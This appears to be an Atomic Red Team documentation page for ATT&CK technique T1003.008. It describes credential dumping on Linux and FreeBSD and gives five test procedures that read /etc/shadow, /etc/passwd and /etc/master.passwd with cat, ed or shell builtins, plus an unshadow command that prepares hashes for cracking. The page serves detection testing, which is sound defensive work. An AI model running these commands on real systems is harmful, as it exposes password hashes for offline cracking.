T1003.008
OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow
Description from ATT&CK
Adversaries may attempt to dump the contents of
/etc/passwdand/etc/shadowto enable offline password cracking. Most modern Linux operating systems use a combination of/etc/passwdand/etc/shadowto store user account information, including password hashes in/etc/shadow. By default,/etc/shadowis only readable by the root user.(Citation: Linux Password and Shadow File Formats)Linux stores user information such as user ID, group ID, home directory path, and login shell in
/etc/passwd. A "user" on the system may belong to a person or a service. All password hashes are stored in/etc/shadow- including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)Adversaries may attempt to read or dump the
/etc/passwdand/etc/shadowfiles on Linux systems via command line utilities such as thecatcommand.(Citation: Arctic Wolf) Additionally, the Linux utilityunshadowcan be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in/etc/passwdare linked to the password hashes in/etc/shadow, an adversary would need to have access to both.
Atomic Tests
- Atomic Test #1: Access /etc/shadow (Local)
- Atomic Test #2: Access /etc/master.passwd (Local)
- Atomic Test #3: Access /etc/passwd (Local)
- Atomic Test #4: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat
- Atomic Test #5: Access /etc/{shadow,passwd,master.passwd} with shell builtins
Atomic Test #1: Access /etc/shadow (Local)
/etc/shadow file is accessed in Linux environments
Supported Platforms: Linux
auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| output_file | Path where captured results will be placed | path | /tmp/T1003.008.txt |
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
sudo cat /etc/shadow > #{output_file}
cat #{output_file}Cleanup Commands
rm -f #{output_file}Atomic Test #2: Access /etc/master.passwd (Local)
/etc/master.passwd file is accessed in FreeBSD environments
Supported Platforms: Linux
auto_generated_guid: 5076874f-a8e6-4077-8ace-9e5ab54114a5
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| output_file | Path where captured results will be placed | path | /tmp/T1003.008.txt |
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
sudo cat /etc/master.passwd > #{output_file}
cat #{output_file}Cleanup Commands
rm -f #{output_file}Atomic Test #3: Access /etc/passwd (Local)
/etc/passwd file is accessed in FreeBSD and Linux environments
Supported Platforms: Linux
auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| output_file | Path where captured results will be placed | path | /tmp/T1003.008.txt |
Attack Commands: Run with sh!
cat /etc/passwd > #{output_file}
cat #{output_file}Cleanup Commands
rm -f #{output_file}Atomic Test #4: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed
Supported Platforms: Linux
auto_generated_guid: df1a55ae-019d-4120-bc35-94f4bc5c4b0a
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| output_file | Path where captured results will be placed | path | /tmp/T1003.008.txt |
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
unamestr=$(uname)
if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; fiCleanup Commands
rm -f #{output_file}Atomic Test #5: Access /etc/{shadow,passwd,master.passwd} with shell builtins
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins
Supported Platforms: Linux
auto_generated_guid: f5aa6543-6cb2-4fae-b9c2-b96e14721713
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| output_file | Path where captured results will be placed | path | /tmp/T1003.008.txt |
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }
[ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd
testcat /etc/passwd
testcat /etc/shadowCleanup Commands
rm -f #{output_file}Atomic test(s) for this technique last updated: 2024-08-06 08:04:47 UTC